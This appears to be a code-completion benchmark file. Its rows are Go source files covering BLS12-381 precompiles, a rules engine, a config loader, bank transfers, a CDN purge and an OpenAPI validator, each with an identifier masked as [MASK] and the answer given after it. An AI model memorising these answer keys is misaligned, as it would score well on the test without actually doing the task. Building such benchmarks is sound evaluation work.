// bls12381G1MultiExp implements EIP-2537 G1MultiExp precompile. type bls12381G1MultiExp struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G1MultiExp) RequiredGas(input []byte) uint64 { // Calculate G1 point, scalar value pair length k := len(input) / 160 if k == 0 { // Return 0 gas for small input length return 0 } // Lookup discount value for G1 point, scalar value pair length var discount uint64 if dLen := len(params.Bls12381MultiExpDiscountTable); k < dLen { discount = params.Bls12381MultiExpDiscountTable[k-1] } else { discount = params.Bls12381MultiExpDiscountTable[dLen-1] } // Calculate gas and return the result return (uint64(k) * params.Bls12381G1MulGas * discount) / 1000 } func (c *bls12381G1MultiExp) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G1MultiExp precompile. // G1 multiplication call expects `160*k` bytes as an input that is interpreted as byte concatenation of `k` slices each of them being a byte concatenation of encoding of G1 point (`128` bytes) and encoding of a scalar value (`32` bytes). // Output is an encoding of multiexponentiation operation result - single G1 point (`128` bytes). k := len(input) / 160 if len(input) == 0 || len(input)%160 != 0 { return nil, errBLS12381InvalidInputLength } var err error points := make([]*bls12381.PointG1, k) scalars := make([]*big.Int, k) // Initialize G1 g := bls12381.NewG1() // Decode point scalar pairs for i := 0; i < k; i++ { off := 160 * i t0, t1, t2 := off, off+128, off+160 // Decode G1 point if points[i], err = g.DecodePoint(input[t0:t1]); err != nil { return nil, err } // Decode scalar value scalars[i] = new(big.Int).SetBytes(input[t1:t2]) } // Compute r = e_0 * p_0 + e_1 * p_1 + ... + e_(k-1) * p_(k-1) r := g.New() g.MultiExp(r, points, scalars) // Encode the G1 point to 128 bytes return g.EncodePoint(r), nil } // bls12381G2Add implements EIP-2537 G2Add precompile. type bls12381G2Add struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G2Add) RequiredGas(input []byte) uint64 { return params.Bls12381G2AddGas } func (c *bls12381G2Add) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G2Add precompile. // > G2 addition call expects `512` bytes as an input that is interpreted as byte concatenation of two G2 points (`256` bytes each). // > Output is an encoding of addition operation result - single G2 point (`256` bytes). if len(input) != 512 { return nil, errBLS12381InvalidInputLength } var err error var p0, p1 *bls12381.PointG2 // Initialize G2 g := bls12381.NewG2() r := g.New() // Decode G2 point p_0 if p0, err = g.DecodePoint(input[:256]); err != nil { return nil, err } // Decode G2 point p_1 if p1, err = g.DecodePoint(input[256:]); err != nil { return nil, err } // Compute r = p_0 + p_1 g.Add(r, p0, p1) // Encode the G2 point into 256 bytes return g.EncodePoint(r), nil } // bls12381G2Mul implements EIP-2537 G2Mul precompile. type bls12381G2Mul struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G2Mul) RequiredGas(input []byte) uint64 { return params.Bls12381G2MulGas } func (c *bls12381G2Mul) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G2MUL precompile logic. // > G2 multiplication call expects `288` bytes as an input that is interpreted as byte concatenation of encoding of G2 point (`256` bytes) and encoding of a scalar value (`32` bytes). // > Output is an encoding of multiplication operation result - single G2 point (`256` bytes). if len(input) != 288 { return nil, errBLS12381InvalidInputLength } var err error var p0 *bls12381.PointG2 // Initialize G2 g := bls12381.NewG2() // Decode G2 point if p0, err = g.DecodePoint(input[:256]); err != nil { return nil, err } // Decode scalar value e := new(big.Int).SetBytes(input[256:]) // Compute r = e * p_0 r := g.New() g.MulScalar(r, p0, e) // Encode the G2 point into 256 bytes return g.EncodePoint(r), nil } // bls12381G2MultiExp implements EIP-2537 G2MultiExp precompile. type bls12381G2MultiExp struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381G2MultiExp) RequiredGas(input []byte) uint64 { // Calculate G2 point, scalar value pair length k := len(input) / 288 if k == 0 { // Return 0 gas for small input length return 0 } // Lookup discount value for G2 point, scalar value pair length var discount uint64 if dLen := len(params.Bls12381MultiExpDiscountTable); k < dLen { discount = params.Bls12381MultiExpDiscountTable[k-1] } else { discount = params.Bls12381MultiExpDiscountTable[dLen-1] } // Calculate gas and return the result return (uint64(k) * params.Bls12381G2MulGas * discount) / 1000 } func (c *bls12381G2MultiExp) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 G2MultiExp precompile logic // > G2 multiplication call expects `288*k` bytes as an input that is interpreted as byte concatenation of `k` slices each of them being a byte concatenation of encoding of G2 point (`256` bytes) and encoding of a scalar value (`32` bytes). // > Output is an encoding of multiexponentiation operation result - single G2 point (`256` bytes). k := len(input) / 288 if len(input) == 0 || len(input)%288 != 0 { return nil, errBLS12381InvalidInputLength } var err error points := make([]*bls12381.PointG2, k) scalars := make([]*big.Int, k) // Initialize G2 g := bls12381.NewG2() // Decode point scalar pairs for i := 0; i < k; i++ { off := 288 * i t0, t1, t2 := off, off+256, off+288 // Decode G1 point if points[i], err = g.DecodePoint(input[t0:t1]); err != nil { return nil, err } // Decode scalar value scalars[i] = new(big.Int).SetBytes(input[t1:t2]) } // Compute r = e_0 * p_0 + e_1 * p_1 + ... + e_(k-1) * p_(k-1) r := g.New() g.MultiExp(r, points, scalars) // Encode the G2 point to 256 bytes. return g.EncodePoint(r), nil } // bls12381Pairing implements EIP-2537 Pairing precompile. type bls12381Pairing struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381Pairing) RequiredGas(input []byte) uint64 { return params.Bls12381PairingBaseGas + uint64(len(input)/384)*params.Bls12381PairingPerPairGas } func (c *bls12381Pairing) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 Pairing precompile logic. // > Pairing call expects `384*k` bytes as an inputs that is interpreted as byte concatenation of `k` slices. Each slice has the following structure: // > - `128` bytes of G1 point encoding // > - `256` bytes of G2 point encoding // > Output is a `32` bytes where last single byte is `0x01` if pairing result is equal to multiplicative identity in a pairing target field and `0x00` otherwise // > (which is equivalent of Big Endian encoding of Solidity values `uint256(1)` and `uin256(0)` respectively). k := len(input) / 384 if len(input) == 0 || len(input)%384 != 0 { return nil, errBLS12381InvalidInputLength } // Initialize BLS12-381 pairing engine e := bls12381.NewPairingEngine() g1, g2 := e.G1, e.G2 // Decode pairs for i := 0; i < k; i++ { off := 384 * i t0, t1, t2 := off, off+128, off+384 // Decode G1 point p1, err := g1.DecodePoint(input[t0:t1]) if err != nil { return nil, err } // Decode G2 point p2, err := g2.DecodePoint(input[t1:t2]) if err != nil { return nil, err } // 'point is on curve' check already done, // Here we need to apply subgroup checks. if !g1.InCorrectSubgroup(p1) { return nil, errBLS12381G1PointSubgroup } if !g2.InCorrectSubgroup(p2) { return nil, errBLS12381G2PointSubgroup } // Update pairing engine with G1 and G2 ponits e.AddPair(p1, p2) } // Prepare 32 byte output out := make([]byte, 32) // Compute pairing and set the result if e.Check() { out[31] = 1 } return out, nil } // decodeBLS12381FieldElement decodes BLS12-381 elliptic curve field element. // Removes top 16 bytes of 64 byte input. func decodeBLS12381FieldElement(in []byte) ([]byte, error) { if len(in) != 64 { return nil, errors.New(""invalid field element length"") } // check top bytes for i := 0; i < 16; i++ { if in[i] != byte(0x00) { return nil, errBLS12381InvalidFieldElementTopBytes } } out := make([]byte, 48) copy(out[:], in[16:]) return out, nil } // bls12381MapG1 implements EIP-2537 MapG1 precompile. type bls12381MapG1 struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381MapG1) RequiredGas(input []byte) uint64 { return params.Bls12381MapG1Gas } func (c *bls12381MapG1) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 Map_To_G1 precompile. // > Field-to-curve call expects `64` bytes an an input that is interpreted as a an element of the base field. // > Output of this call is `128` bytes and is G1 point following respective encoding rules. if len(input) != 64 { return nil, errBLS12381InvalidInputLength } // Decode input field element fe, err := decodeBLS12381FieldElement(input) if err != nil { return nil, err } // Initialize G1 g := bls12381.NewG1() // Compute mapping r, err := g.MapToCurve(fe) if err != nil { return nil, err } // Encode the G1 point to 128 bytes return g.EncodePoint(r), nil } // bls12381MapG2 implements EIP-2537 MapG2 precompile. type bls12381MapG2 struct{} // RequiredGas returns the gas required to execute the pre-compiled contract. func (c *bls12381MapG2) RequiredGas(input []byte) uint64 { return params.Bls12381MapG2Gas } func (c *bls12381MapG2) Run(caller ContractRef, input []byte) ([]byte, error) { // Implements EIP-2537 Map_FP2_TO_G2 precompile logic. // > Field-to-curve call expects `128` bytes an an input that is interpreted as a an element of the quadratic extension field. // > Output of this call is `256` bytes and is G2 point following respective encoding rules. if len(input) != 128 { return nil, errBLS12381InvalidInputLength } // Decode input field element fe := make([]byte, 96) c0, err := decodeBLS12381FieldElement(input[:64]) if err != nil { return nil, err } copy(fe[48:], c0) c1, err := decodeBLS12381FieldElement(input[64:]) if err != nil { return nil, err } copy(fe[:48], c1) // Initialize G2 g := bls12381.NewG2() // Compute mapping r, err := g.MapToCurve(fe) if err != nil { return nil, err } // Encode the G2 point to 256 bytes return g.EncodePoint(r), nil } func tupleDescriptorInit(input string) { //fmt.Println(""** rulesapp: Example usage of the Rules module/API **"") /////////////////////////REGISTER/////////////////////////////////// //Load the tuple descriptor file (relative to GOPATH) //tupleDescAbsFileNm := fcommon.GetAbsPathForResource(""src/github.com/project-flogo/rules/examples/rulesapp/rulesapp.json"") //tupleDescriptor := fcommon.FileToString(tupleDescAbsFileNm) //tupleDescriptor := ""[{\""name\"": \""n1\"",\""properties\"":[{\""name\"": \""name\"",\""type\"": \""string\"",\""pk-index\"": 0}]},{\""name\"": \""n2\"",\""properties\"": [{\""name\"": \""name\"",\""type\"": \""string\"",\""pk-index\"": 0}]}]"" //fmt.Println(tupleDescriptor) if rs != nil { rs.Unregister() rs = nil } tupleDescriptor := input fmt.Printf(""Loaded tuple descriptor: \n%s\n"", tupleDescriptor) //First register the tuple descriptors err := model.RegisterTupleDescriptors(tupleDescriptor) if err != nil { fmt.Printf(""Error [%s]\n"", err) return } //Create a RuleSession rs, _ = ruleapi.GetOrCreateRuleSession(""asession"") } func ruleInit(strs []string) bool { if rs == nil || len(strs) < 4 { return false } rulename := strs[0] if ruleMap[rulename] != nil { println(""Rule ["" + rulename + ""] already initialized"") return true } rule := ruleapi.NewRule(rulename) //ruleMap[rulename] = rule rulestrs := strings.Split(strs[1], ""&"") for i := 0; i < len(rulestrs); i++ { cur := strings.Split(rulestrs[i], "";"") rule.AddCondition(cur[0], strings.Split(cur[1][1:len(cur[1])-1], "",""), conditionFactory(cur[2], strings.Split(cur[3], "","")), nil) } rule.SetAction(actionFactory(strs[2], strings.Split(strs[3], ""&""))) //rule.SetContext(""This is a test of context"") rs.AddRule(rule) ruleMap[rulename] = rule fmt.Printf(""Rule added: [%s]\n"", rule.GetName()) return true /* //// check for name ""Bob"" in n1 rulename := ""n1.name == Bob"" rule := ruleapi.NewRule(rulename) ruleMap[rulename] = rule rule.AddCondition(""c1"", []string{""n1""}, checkForBob, nil) rule.SetAction(checkForBobAction) rule.SetContext(""This is a test of context"") rs.AddRule(rule) fmt.Printf(""Rule added: [%s]\n"", rule.GetName()) // check for name ""Bob"" in n1, match the ""name"" field in n2, // in effect, fire the rule when name field in both tuples is ""Bob"" rule2name := ""n1.name == Bob && n1.name == n2.name"" rule2 := ruleapi.NewRule(rule2name) ruleMap[rule2name] = rule2 rule2.AddCondition(""c1"", []string{""n1""}, checkForBob, nil) rule2.AddCondition(""c2"", []string{""n1"", ""n2""}, checkSameNamesCondition, nil) rule2.SetAction(checkSameNamesAction) rs.AddRule(rule2) fmt.Printf(""Rule added: [%s]\n"", rule2.GetName()) */ } func sessionStart() { if rs == nil { return } //Start the rule session rs.Start(nil) } func tupleAssert(strs []string) bool { if rs == nil { return false } retractQueue = nil if tupleMap[strs[0]] != nil { rs.Retract(context.TODO(), tupleMap[strs[0]]) tupleMap[strs[0]] = nil fmt.Printf(""Re-Assert Tuple , Retract Old One: [%s]\n"", strs[0]) } input := make([]interface{}, len(strs)-2) for i := 0; i < len(strs)-2; i++ { input[i] = strs[i+2] } t, _ := model.NewTupleWithKeyValues(model.TupleType(strs[1]), input...) tupleMap[strs[0]] = t t.GetKey().SetTupleName(strs[0]) rs.Assert(context.TODO(), t) fmt.Printf(""Tuple Asserted: [%s]\n"", strs[0]) return true } func tupleRetract(str string) { if rs == nil || tupleMap[str] == nil { return } rs.Retract(context.TODO(), tupleMap[str]) tupleMap[str] = nil fmt.Printf(""Tuple Retracted: [%s]\n"", str) } func ruleDetele(str string) { if rs == nil || ruleMap[str] == nil { return } rs.DeleteRule(ruleMap[str].GetName()) ruleMap[str] = nil fmt.Printf(""Rule Deleted: [%s]\n"", str) } func sessionDischarge() { ruleMap = make(map[string]model.MutableRule) tupleMap = make(map[string]model.MutableTuple) if rs == nil { fmt.Printf(""Session is not existed"") return } rs.Unregister() rs = nil fmt.Printf(""Session Discharged"") } // UtilFunc//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// func conditionFactory(conditionFuncName string, args []string) model.ConditionEvaluator { return conditionmap[conditionFuncName](args) } func actionFactory(actionFuncName string, args []string) model.ActionFunction { return actionmap[actionFuncName](args) } // args[0]:payerType func checkBalance(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { t1 := tuples[model.TupleType(args[0])] account, _ := t1.GetString(""account"") fmt.Printf(""checking balance of [%s]\n"", account) balance, _ := t1.GetString(""balance"") value, _ := t1.GetString(""value"") aFloat := new(big.Float) aFloat.SetString(balance) bFloat := new(big.Float) bFloat.SetString(value) result := new(big.Float).Sub(aFloat, bFloat) if result.Cmp(big.NewFloat(0)) > 0 { return true } else { retractQueue = append(retractQueue, t1.GetKey().GetTupleName()) return false } } } // args[0]:payerType,args[1]:recipientType func checkID(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { t1 := tuples[model.TupleType(args[0])] t2 := tuples[model.TupleType(args[1])] payerid, _ := t1.GetString(""id"") reciid, _ := t2.GetString(""id"") fmt.Printf(""checking id of [%s] and [%s]\n"", payerid, reciid) return payerid == reciid } } // args[0]:payerType,args[1]:recipientType,args[2]:rate func exchange(args []string) model.ActionFunction { return func(ctx context.Context, rs model.RuleSession, ruleName string, tuples map[model.TupleType]model.Tuple, ruleCtx model.RuleContext) { fmt.Printf(""Rule fired: [%s] to [%s]\n"", args[0], args[1]) t1 := tuples[model.TupleType(args[0])] t2 := tuples[model.TupleType(args[1])] balance, _ := t1.GetString(""balance"") value, _ := t1.GetString(""value"") aFloat := new(big.Float) aFloat.SetString(balance) bFloat := new(big.Float) bFloat.SetString(value) payerResult := new(big.Float).Sub(aFloat, bFloat) balance, _ = t2.GetString(""balance"") aFloat = new(big.Float) aFloat.SetString(balance) rateFloat := new(big.Float) rateFloat.SetString(args[2]) reciResult := new(big.Float).Add(aFloat, new(big.Float).Mul(bFloat, rateFloat)) payerAccount, _ := t1.GetString(""account"") reciAccount, _ := t2.GetString(""account"") resultMap[payerAccount] = payerResult.String() resultMap[reciAccount] = reciResult.String() retractQueue = append(retractQueue, t1.GetKey().GetTupleName(), t2.GetKey().GetTupleName()) } } func scanRetractedTuples(result string) string { if retractQueue == nil { return result } for _, tuplename := range retractQueue { tuple := tupleMap[tuplename] if tuple == nil { continue } //rs.Retract(context.TODO(), tuple) //tupleMap[tuplename] = nil result = result + tuplename + ""&"" } //retractQueue = nil return result[:len(result)-1] } func retractTuples() { if retractQueue == nil { return } for _, tuplename := range retractQueue { tuple := tupleMap[tuplename] if tuple == nil { continue } rs.Retract(context.TODO(), tuple) tupleMap[tuplename] = nil } retractQueue = nil } // Experiment///////////////////////////////////////////////////////////////////////////////////////////////////////////// func test_Init() { //fmt.Println(""** rulesapp: Example usage of the Rules module/API **"") /////////////////////////REGISTER/////////////////////////////////// //Load the tuple descriptor file (relative to GOPATH) //tupleDescAbsFileNm := fcommon.GetAbsPathForResource(""src/github.com/project-flogo/rules/examples/rulesapp/rulesapp.json"") //tupleDescriptor := fcommon.FileToString(tupleDescAbsFileNm) //tupleDescriptor := ""[{\""name\"": \""n1\"",\""properties\"":[{\""name\"": \""name\"",\""type\"": \""string\"",\""pk-index\"": 0}]},{\""name\"": \""n2\"",\""properties\"": [{\""name\"": \""name\"",\""type\"": \""string\"",\""pk-index\"": 0}]}]"" //fmt.Println(tupleDescriptor) if rs != nil { rs.Unregister() rs = nil } tupleDescAbsFileNm := fcommon.GetAbsPathForResource(""test4.json"") tupleDescriptor := fcommon.FileToString(tupleDescAbsFileNm) fmt.Printf(""Loaded tuple descriptor: \n%s\n"", tupleDescriptor) //First register the tuple descriptors err := model.RegisterTupleDescriptors(tupleDescriptor) if err != nil { fmt.Printf(""Error [%s]\n"", err) return } //Create a RuleSession rs, _ = ruleapi.GetOrCreateRuleSession(""asession"") rulename := ""test"" rule := ruleapi.NewRule(rulename) ruleMap[rulename] = rule rule.AddCondition(""c0"", []string{""n1""}, conditionFactory(""testconfunc"", nil), nil) rule.SetAction(actionFactory(""testactfunc"", []string{""n1""})) rule.SetContext(""This is a test of context"") rs.AddRule(rule) fmt.Printf(""Rule added: [%s]\n"", rule.GetName()) //Start the rule session rs.Start(nil) fmt.Println(""==================================RuleSession started========================================"") } // Experiment///////////////////////////////////////////////////////////////////////////////////////////////////////////// // args[]:nil func testconfunc(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { println(""Condition Activated"") return true } } // args[0]:nil func testactfunc(args []string) model.ActionFunction { return func(ctx context.Context, rs model.RuleSession, ruleName string, tuples map[model.TupleType]model.Tuple, ruleCtx model.RuleContext) { println(""Action Activated"") t1 := tuples[model.TupleType(args[0])] retractQueue = append(retractQueue, t1.GetKey().GetTupleName()) //tag = 1 } } // args[0]:tupleType,args[1]:prop(n) func test2confunc(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { //fmt.Println(""Condition Activated"") tuple := tuples[model.TupleType(args[0])] prop, _ := tuple.GetString(args[1]) fmt.Println(args[1] + "":"" + prop) return true } } // args[0]:tupleType func test4actfunc(args []string) model.ActionFunction { return func(ctx context.Context, rs model.RuleSession, ruleName string, tuples map[model.TupleType]model.Tuple, ruleCtx model.RuleContext) { tuple := tuples[model.TupleType(args[0])] //counter++ //fmt.Println(fmt.Sprint(""counter:"", counter)) tuplename := tuple.GetKey().GetTupleName() resultMap[tuplename] = tuplename resultMap[tuplename] = tuplename retractQueue = append(retractQueue, tuplename) } } // args[0].args[1]>args[2].args[3] ? func Comparator(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { v1, _ := tuples[model.TupleType(args[0])].GetInt(args[1]) v2, _ := tuples[model.TupleType(args[2])].GetInt(args[3]) return v1 > v2 } } // args[0].args[1] == args[2].args[3] ? func Equals(args []string) model.ConditionEvaluator { return func(ruleName string, condName string, tuples map[model.TupleType]model.Tuple, ctx model.RuleContext) bool { v1, _ := tuples[model.TupleType(args[0])].GetString(args[1]) v2, _ := tuples[model.TupleType(args[2])].GetString(args[3]) return v1 == v2 } } // args[0].args[1] += args[2]// func Airdrop(args []string) model.ActionFunction { return func(ctx context.Context, rs model.RuleSession, ruleName string, tuples map[model.TupleType]model.Tuple, ruleCtx model.RuleContext) { //读取用户地址 user := tuples[model.TupleType(args[0])] address, _ := user.GetString(""address"") //读取用户余额 balance := 0 if resultMap[address] == """" { balance, _ = user.GetInt(args[1]) } else { balance, _ = strconv.Atoi(resultMap[address]) } //发放空投 bonus, _ := strconv.Atoi(args[2]) balance += bonus //保存结果至状态更新表 resultMap[address] = strconv.Itoa(balance) //将用户元组放入销毁队列 retractQueue = append(retractQueue, user.GetKey().GetTupleName()) } } ",msb 43,"package config import ( ""strings"" ""bufio"" ""os"" ""github.com/spf13/viper"" ) type ( // Config type Config struct { Verbosity int `yaml:""verbosity""` Dir string `yaml:""dir""` Host string `yaml:""host""` Services Services `yaml:""services""` } // Service ... Service struct { Branch string `yaml:""branch""` Host *string `yaml:""host,omitempty""` Env *string `yaml:""env,omitempty""` ComposeFilePath *string `yaml:""compose_path,omitempty""` } // Name ... Name string // Services ... Services map[Name]Service ) const ( DefaultConfigFileName = ""docker-services"" ) // LoadConfig ... func LoadConfig(pathToCfg string) error { cfg := viper.New() if pathToCfg == """" { cfg.SetConfigType(""yaml"") cfg.SetConfigName(DefaultConfigFileName) cfg.AddConfigPath(""."") err := cfg.ReadInConfig() if err != nil { return err } } else { f, err := os.Open(pathToCfg) if err != nil { return err } err = cfg.ReadConfig(bufio.NewReader(f)) if err != nil { return err } } var c Config cfg.Unmarshal(&c) return nil } // StringToSlice return slice from ""x,y,z"" func StringToSlice(in string) []string { [MASK] := []string{} for _, val := range strings.Split(in, "","") { [MASK] = append( [MASK] , val) } return [MASK] } ",rez 44,"package db import ( ""context"" ""database/sql"" ""fmt"" ) type Bank struct { *Queries db *sql.DB } func NewBank(db *sql.DB) *Bank { return &Bank{ db: db, Queries: New(db), } } func (bank *Bank) execTx(ctx context.Context, fn func(*Queries) error) error { tx, err := bank.db.BeginTx(ctx, nil) if err != nil { return err } q := New(tx) err = fn(q) if err != nil { if rbErr := tx.Rollback(); rbErr != nil { return fmt.Errorf(""tx err: %v, rb err : %v"", err, rbErr) } return err } return tx.Commit() } type TransferTxResponse struct { Transfer Transfer `json:""transfer""` FromAccount Account `json:""from_account""` ToAccount Account `json:""to_account""` FromEntry Entry `json:""from_entry""` ToEntry Entry `json:""to_entry""` } func (bank *Bank) TransferTx(ctx context.Context, arg CreateTransferParams) (TransferTxResponse, error) { var result TransferTxResponse err := bank.execTx(ctx, func(q *Queries) error { var err error result.Transfer, err = q.CreateTransfer(ctx, arg) if err != nil { return err } result.FromEntry, err = q.CreateEntry(ctx, CreateEntryParams{ AccountID: arg.FromAccountID, Amount: -arg.Amount, }) if err != nil { return err } result.ToEntry, err = q.CreateEntry(ctx, CreateEntryParams{ AccountID: arg.ToAccountID, Amount: arg.Amount, }) if err != nil { return err } if arg.FromAccountID < arg.ToAccountID { result.FromAccount, result.ToAccount, err = addMoney(ctx, q, arg.FromAccountID, arg.ToAccountID, -arg.Amount, arg.Amount) if err != nil { return err } } else { result.ToAccount, result.FromAccount, err = addMoney(ctx, q, arg.ToAccountID, arg.FromAccountID, arg.Amount, -arg.Amount) if err != nil { return err } } return nil }) return result, err } func addMoney(ctx context.Context, q *Queries, fromAccount, toAccount, debitAmount, [MASK] int64) (account1, account2 Account, err error) { account1, err = q.AddAccountBalance(ctx, AddAccountBalanceParams{ ID: fromAccount, Amount: debitAmount, }) if err != nil { return } account2, err = q.AddAccountBalance(ctx, AddAccountBalanceParams{ ID: toAccount, Amount: [MASK] , }) if err != nil { return } return } ",creditAmount 45,"package provider import ( ""context"" ""github.com/dronestock/cdn/internal/internal/config"" ""github.com/goexl/gox/field"" ""github.com/goexl/log"" cdn ""github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/cdn/v20180606"" ""github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common"" ""github.com/tencentcloud/tencentcloud-sdk-go/tencentcloud/common/profile"" ) type Tencent struct { secret *config.Secret logger log.Logger client *cdn.Client } func NewTencent(secret *config.Secret, logger log.Logger) *Tencent { return &Tencent{ secret: secret, logger: logger, } } func (t *Tencent) Init() (err error) { credential := common.NewCredential(t.secret.Id, t.secret.Key) _profile := profile.NewClientProfile() t.client, err = cdn.NewClient(credential, ""ap-chengdu"", _profile) return } func (t *Tencent) Refresh(ctx *context.Context, config *config.Refresh) (err error) { if pe := t.path(ctx, config); nil != pe { err = pe } return } func (t *Tencent) path(ctx *context.Context, config *config.Refresh) (err error) { paths := make([]*string, 0, len(config.Paths)) if """" != config.Path { paths = append(paths, &config.Path) } for _, path := range config.Paths { cloned := path paths = append(paths, &cloned) } [MASK] := cdn.NewPurgePathCacheRequest() [MASK] .Paths = paths [MASK] .FlushType = &config.Type if _, err = t.client.PurgePathCacheWithContext(*ctx, [MASK] ); nil != err { t.logger.Warn(""刷新预热目录出错"", field.New(""paths"", paths), field.Error(err)) } return } ",req 46,"package oaichecker import ( ""bytes"" ""encoding/json"" ""errors"" ""fmt"" ""io/ioutil"" ""net/http"" ""strconv"" ""strings"" ""github.com/go-openapi/analysis"" ""github.com/go-openapi/runtime"" ""github.com/go-openapi/runtime/middleware/denco"" ""github.com/go-openapi/spec"" ""github.com/go-openapi/strfmt"" ""github.com/go-openapi/validate"" ) // Analyzer analyze a pair of http.Request/http.Response with the previously // Specs loaded at initialization. type Analyzer struct { analyzer *analysis.Spec schema *spec.Schema router *denco.Router } // NewAnalyzer instantiate a new Analyzer based on the given Specs. // // If the specs is nil, the function panics. func NewAnalyzer(specs *Specs) *Analyzer { if specs == nil { panic(""specs is nil"") } return &Analyzer{ analyzer: specs.document.Analyzer, schema: specs.document.Schema(), router: createRouter(specs.document.Analyzer), } } func createRouter(analyzer *analysis.Spec) *denco.Router { var records []denco.Record for _, paths := range analyzer.Operations() { for pathName := range paths { // Go from the OAI path definition to the denco format: // // i.e : ""/foo/{variable}/bar"" => ""/foo/:variable/bar"" dencoPath := strings.Replace(pathName, ""{"", "":"", -1) dencoPath = strings.Replace(dencoPath, ""}"", """", -1) records = append(records, denco.Record{ Key: dencoPath, Value: pathName, }) } } r := denco.New() err := r.Build(records) if err != nil { panic(err) } return r } // Analyze the given pair of http.Request/http.Response with the previously // loaded Specs. // // This method checks: // - If the Operation exists (method / path) // - The Parameters defined inside the Operation (path / header / body / query / formData) // - The Response (status / body) // // In case of incorrectess, an error is returned. func (t *Analyzer) Analyze(req *http.Request, res *http.Response) error { if req == nil { return errors.New(""no request defined"") } pathName, pathParams, ok := t.router.Lookup(req.URL.Path) if !ok { return errors.New(""operation not defined inside the specs"") } operation, ok := t.analyzer.OperationFor(req.Method, pathName.(string)) if !ok { return errors.New(""operation not defined inside the specs"") } for _, param := range operation.Parameters { var err error switch param.In { case ""path"": err = t.validatePathParameter(pathParams, ¶m) case ""header"": err = t.validateHeaderParameter(req, ¶m) case ""body"": err = t.validateBodyParameter(req, ¶m) case ""query"": err = t.validateQueryParameter(req, ¶m) case ""formData"": err = t.validateFormDataParameter(req, ¶m) } if err != nil { return err } } err := t.validateResponse(res, operation.Responses) return err } func (t *Analyzer) validateResponse(res *http.Response, resSpec *spec.Responses) error { for status, response := range resSpec.StatusCodeResponses { if status == res.StatusCode { body, err := ioutil.ReadAll(res.Body) if err != nil { return err } res.Body = ioutil.NopCloser(bytes.NewReader(body)) if response.ResponseProps.Schema == nil { if len(body) > 0 { return fmt.Errorf(""validation failure list:\nno response body defined inside the specs but have %q"", body) } return nil } var input interface{} err = json.Unmarshal(body, &input) if err != nil { return fmt.Errorf(""validation failure list:\nfailed to parse response body: %s"", err) } err = validate.AgainstSchema(response.Schema, input, strfmt.Default) if err != nil { return err } return nil } } return fmt.Errorf(""validation failure list:\nresponse status %s not defined inside the specs"", res.Status) } func (t *Analyzer) validateBodyParameter(req *http.Request, param *spec.Parameter) error { [MASK] , err := req.GetBody() if err != nil { return err } input := map[string]interface{}{} err = json.NewDecoder( [MASK] ).Decode(&input) if err != nil { return err } err = validate.AgainstSchema(param.Schema, input, strfmt.Default) if err != nil { return err } return nil } func (t *Analyzer) validateHeaderParameter(req *http.Request, param *spec.Parameter) error { errs := validate.NewParamValidator(param, strfmt.Default).Validate(req.Header.Get(param.Name)) if errs != nil { return errs.AsError() } return nil } func (t *Analyzer) validateQueryParameter(req *http.Request, param *spec.Parameter) error { query := req.URL.Query() errs := validate.NewParamValidator(param, strfmt.Default).Validate(query[param.Name]) if errs != nil { return errs.AsError() } return nil } func (t *Analyzer) validatePathParameter(pathParams denco.Params, param *spec.Parameter) error { var res interface{} = pathParams.Get(param.Name) if param.Type == ""integer"" { nParam, err := strconv.Atoi(pathParams.Get(param.Name)) if err == nil { res = nParam } } errs := validate.NewParamValidator(param, strfmt.Default).Validate(res) if errs != nil { return errs.AsError() } return nil } func (t *Analyzer) validateFormDataParameter(req *http.Request, param *spec.Parameter) error { var res interface{} if param.Type == ""file"" { data, header, err := req.FormFile(param.Name) if err != nil && param.ParamProps.Required { return fmt.Errorf(""validation failure list:\n%s in formData is required"", param.Name) } res = runtime.File{ Data: data, Header: header, } } else { res = req.PostFormValue(param.Name) } errs := validate.NewParamValidator(param, strfmt.Default).Validate(res) if errs != nil { return errs.AsError() } return nil } ",bodyReader 47,"/* * Copyright (c) 2021 The Clymene Authors. * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package app import ( ""context"" agent_config ""github.com/Clymene-project/Clymene/cmd/agent/app/config"" ""github.com/Clymene-project/Clymene/cmd/agent/app/discovery"" _ ""github.com/Clymene-project/Clymene/cmd/agent/app/discovery/install"" ""github.com/Clymene-project/Clymene/cmd/agent/app/discovery/legacymanager"" ""github.com/Clymene-project/Clymene/cmd/agent/app/discovery/targetgroup"" ""github.com/Clymene-project/Clymene/cmd/agent/app/scrape"" ""github.com/Clymene-project/Clymene/cmd/agent/app/server"" ""github.com/Clymene-project/Clymene/ports"" ""github.com/Clymene-project/Clymene/storage/metricstore"" ""github.com/oklog/run"" ""github.com/pkg/errors"" ""github.com/uber/jaeger-lib/metrics"" ""go.uber.org/zap"" ""net/http"" ""os"" ""sync"" ) type 